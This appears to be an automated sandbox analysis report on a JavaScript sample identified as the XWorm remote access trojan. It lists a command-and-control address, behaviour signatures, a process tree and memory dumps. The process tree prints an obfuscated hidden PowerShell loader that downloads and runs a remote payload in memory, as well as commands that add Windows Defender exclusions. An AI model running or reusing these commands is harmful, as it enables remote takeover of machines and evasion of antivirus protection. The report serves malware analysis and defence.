Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 08:25

General

  • Target
    PO300926.js
  • Size 33KB
  • Sample260930-kbg2masbrd
  • SHA256 ca9d3d85b31f567b771cd886ea7f5ff7b67953d1fe3083241a3f3de554f9b5ca
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 102.220.160.146:5050

Mutex
  • p7sMzY5ciavfaEoj

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PO300926.js
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    PID:1748
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgneDltcHJlZ3VzdGFudCA9IHZzM2h0dHBzOi8vcm91ZycrJ2gtdHJ1dGgtZTA3Mi5wdWJsaWNmJysndHByZXNlbmQud29ya2Vycy5kZXYvemlwb2lxdnMzOyAnKyd4OW12ZW50cmlsb3F1aXN0aWMgPSB2czNDOk9IMFVzZXJzT0gwUHVibGljT0gwRG93bmxvYWRzT0gwcGF5JysnbG9hZCcrJy50eHR2czM7IHg5bWNvbnNlcnZhdGl2ZWx5ID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IHg5bWNvbnNlJysncnZhdGl2ZWx5LkhlYWRlcnMuQWRkKHZzM1VzZXItQWdlbnR2czMsIHZzM01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbicrJzY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAnKycoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnZzMyk7IHg5bWNvbnNlcnZhdGl2ZScrJ2x5LkRvd25sb2FkRmlsZSh4OW1wcicrJ2VndXN0YW50LCB4OW0nKyd2ZW50cmknKydsb3F1aXN0aWMpOyB4OW0nKydmaXJlcGxhY2VzID0gKEdldC1Db250ZW50IHg5bXZlbnRyaWxvcXVpc3RpYyAtUmF3KTsnKycgeDltbG92ZXNpY2sgPSB4OW1maXJlcGxhY2VzLlJlcGxhY2UoVk5rKlZOayxWTmtBVk5rKTsgeDltUGFuJysndGFncnVlbGlhbiA9IFtjaGFyW11dJysnKCh4OW1sb3Zlc2ljay4nKydUb0NoYXJBJysncnJheSgpKScrJ1soeDltbG92ZXNpY2suTGUnKyduZ3RoLTEpLi4wXSk7IHg5bScrJ2FzdHJvbGFiZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luIHg5bVBhJysnbnRhZ3J1ZWxpYW4pOyBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKHg5bWFzdHJvbGFiZXMpIGU3RSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVk5rb0xaZmhUeGpIVGptaUFteicrJ3dYY29Ca29oc1c0TDhqZCcrJ2hhSlp4VjMwQmtuYnhseTMrb3h3RFBpUUlYOHpvUzUyUGpoRitZZFI5RXhVdnBaREhkQmt4THdjWmZhMCs1d1BzakZscWxDZHowUUE9Vk5rLFZOa0pvWXJISEZzSkVIJysndycrJ0RDdnplaEI1Ris1NC9BJysnL1NNcFZ6JysnNmhrNlNla2R3MGc9JysnVk5rLFZOa0huVTVteHF4NkpwK1JGajNwdmxUVEhESzNwNGdQU3ZnWWtxJysnUUdZQkJaYWl4S1VUaVpWZkR4Uk1MMHlCS0k0YTZWTmssVk5rRFhOaU9YVmkvcE5FJysneXNGMlYwdWtIJysnWDh4MVJrUnhXJysna3p3bHQzcW1XeG82VT0nKydWTmssVk5rTzhEaGxQT2tCTW5hVXIzTWllTEpDM0w3VUNBaldsNHgnKyd4MElvMicrJyt5clEnKyc1UT1WTmssVk5rVk5rLFZOa3k1alpqbFplSTE4WlcnKycyNFRwVlo0Y2lIQnRibFJCc052ajVhVXM5RmpaVUU9Vk5rLFZOa3BVTjRyYmlJTExmY3hRYzh4aVJyZmhHbTVYRkVhK1V6RytZZmxudUEwRUU9Vk5rLFZOa3dWUnVaTEY1Skd1VjI2QmEnKydpbXdBZHFybk03WnhIOUN1eXcvanczbGRWSkUnKyc9Vk5rLFZOa2ErS3ROK0pZRnI4RFY3bnpaNTlTYjVQeE9oakNlVVVTSzRyUndKb214Rjk1bmMwSVphaGJvclp5VGEyZDNmNUVWJysnTmssVk5rVGtCNWtqcU1Qckp1bjJNSGVMbC9RcFErbXRjU0RIOEpCaVRtZEZncm9PQT1WTmssVk5rVk5rLFZOazl2WDJDaEdFcWlMN0RkMlE2d0Zkd05WTmJhQ3N2ZjA4Vll4VUZpK01GU0U9Vk5rLFZOazdOeTRWWDdlcnF0SHhUbnJNa0pqamptT1duS2EnKycwVnNHS1ZrT1hNdDA5WWc9Vk5rLFZOazJVTVlKNEpRM1UySGJpNEcnKycrSCcrJzlrcE1sUXpQekh5THNrcDgnKydYd1hoUXdSN2M9Vk5rLFZOa1ZtenQya2NVTzAnKycraFNFUXlZTUxnSTA3WCcrJ0ZPWnUnKydYS3QnKydHenBOdkdoU3FPcUk9Vk5rLFZOa1ZOayxWTmtWTmssVk5rVk5rKTsgUmUnKydtb3ZlLUl0ZW0gLVBhdCcrJ2ggeDltdmVudHJpbG8nKydxdWlzdGljIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDbycrJ250aW51ZScpIC1jcmVwbEFjRSAgJ1ZOaycsW0NIQXJdMzkgIC1SRXBsQWNlICAoW0NIQXJdNzkrW0NIQXJdNzIrW0NIQXJdNDgpLFtDSEFyXTkyICAtUkVwbEFjZSAoW0NIQXJdMTE4K1tDSEFyXTExNStbQ0hBcl01MSksW0NIQXJdMzQtUkVwbEFjZSAnZTdFJyxbQ0hBcl0xMjQgLVJFcGxBY2UgJ3g5bScsW0NIQXJdMzYpIHxpZXg=')) } | Invoke-Expression"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5984
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6064
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4032
  • C:\Windows\system32\conhost.exe
    conhost.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5932
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe
      2⤵
        PID:5952

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 8964c342b817de10ce53264d40073b2c6a4bf9c74e169be59989ea6ba0001c30
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 2e44ec450efc06a93237e9a9d8095cc7c164cdb7fa564371daeae2a301d65f1b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_jhs5rtvn.dh1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhs5rtvn.dh1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2364-51-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-117-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-9-0x00000163BEE70000-0x00000163BEE92000-memory.dmp

          memory/2364-12-0x00000163BEF10000-0x00000163BEF20000-memory.dmp

          memory/2364-13-0x00000163C11D0000-0x00000163C123C000-memory.dmp

          memory/2364-61-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-65-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-139-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-137-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-135-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-133-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-131-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-129-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-127-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-125-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-121-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-119-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-43-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-115-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-113-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-111-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-109-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-107-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-105-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-103-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-101-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-99-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-97-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-95-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-93-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-92-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-87-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-85-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-83-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-81-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-77-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-75-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-73-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-71-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-69-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-68-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-63-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-59-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-57-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-55-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-53-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-1-0x00000163BEF10000-0x00000163BEF20000-memory.dmp

          memory/2364-49-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-0-0x00000163BEF10000-0x00000163BEF20000-memory.dmp

          memory/2364-45-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-47-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-41-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-39-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-35-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-33-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-31-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-29-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-27-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-25-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-123-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-23-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-21-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-89-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-79-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-19-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-17-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-15-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-37-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-14-0x00000163C11D0000-0x00000163C1237000-memory.dmp

          memory/2364-912-0x00000163C1240000-0x00000163C1241000-memory.dmp

          memory/2364-913-0x00000163BEF10000-0x00000163BEF20000-memory.dmp

          memory/4032-967-0x0000000005FE0000-0x0000000006334000-memory.dmp

          memory/4032-969-0x0000000070050000-0x000000007009C000-memory.dmp

          memory/5984-919-0x0000000000400000-0x0000000000410000-memory.dmp

          memory/5984-920-0x0000000005060000-0x00000000050FC000-memory.dmp

          memory/5984-980-0x0000000005CA0000-0x0000000005CAA000-memory.dmp

          memory/5984-979-0x0000000005CC0000-0x0000000005D52000-memory.dmp

          memory/5984-978-0x0000000005F00000-0x00000000064A4000-memory.dmp

          memory/6064-925-0x0000000005310000-0x0000000005376000-memory.dmp

          memory/6064-947-0x00000000070B0000-0x0000000007153000-memory.dmp

          memory/6064-935-0x00000000060A0000-0x00000000060BE000-memory.dmp

          memory/6064-936-0x0000000006150000-0x000000000619C000-memory.dmp

          memory/6064-937-0x0000000007040000-0x0000000007072000-memory.dmp

          memory/6064-938-0x0000000070050000-0x000000007009C000-memory.dmp

          memory/6064-948-0x0000000007A30000-0x00000000080AA000-memory.dmp

          memory/6064-951-0x0000000007670000-0x0000000007706000-memory.dmp

          memory/6064-946-0x0000000007080000-0x000000000709E000-memory.dmp

          memory/6064-949-0x00000000073F0000-0x000000000740A000-memory.dmp

          memory/6064-950-0x0000000007460000-0x000000000746A000-memory.dmp

          memory/6064-933-0x0000000005AB0000-0x0000000005E04000-memory.dmp

          memory/6064-952-0x00000000075F0000-0x0000000007601000-memory.dmp

          memory/6064-953-0x0000000007620000-0x000000000762E000-memory.dmp

          memory/6064-924-0x00000000051A0000-0x0000000005206000-memory.dmp

          memory/6064-923-0x0000000005000000-0x0000000005022000-memory.dmp

          memory/6064-922-0x0000000005440000-0x0000000005A68000-memory.dmp

          memory/6064-921-0x0000000002780000-0x00000000027B6000-memory.dmp

          memory/6064-954-0x0000000007630000-0x0000000007644000-memory.dmp

          memory/6064-955-0x0000000007730000-0x000000000774A000-memory.dmp

          memory/6064-956-0x0000000007710000-0x0000000007718000-memory.dmp